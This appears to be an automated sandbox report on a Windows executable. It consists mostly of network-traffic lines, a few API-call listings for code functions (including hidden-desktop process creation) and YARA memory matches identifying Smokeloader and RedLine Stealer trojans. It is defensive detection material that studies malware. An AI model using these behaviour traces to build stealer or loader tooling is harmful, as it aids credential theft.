Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50126 version: TLS 1.2

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2745485336.0000000002E69000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CADB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CADB700
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CADB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CADB8C0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CADB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CADB910
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA7F280

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA735A0	0_2_6CA735A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAD34A0	0_2_6CAD34A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CADC4A0	0_2_6CADC4A0
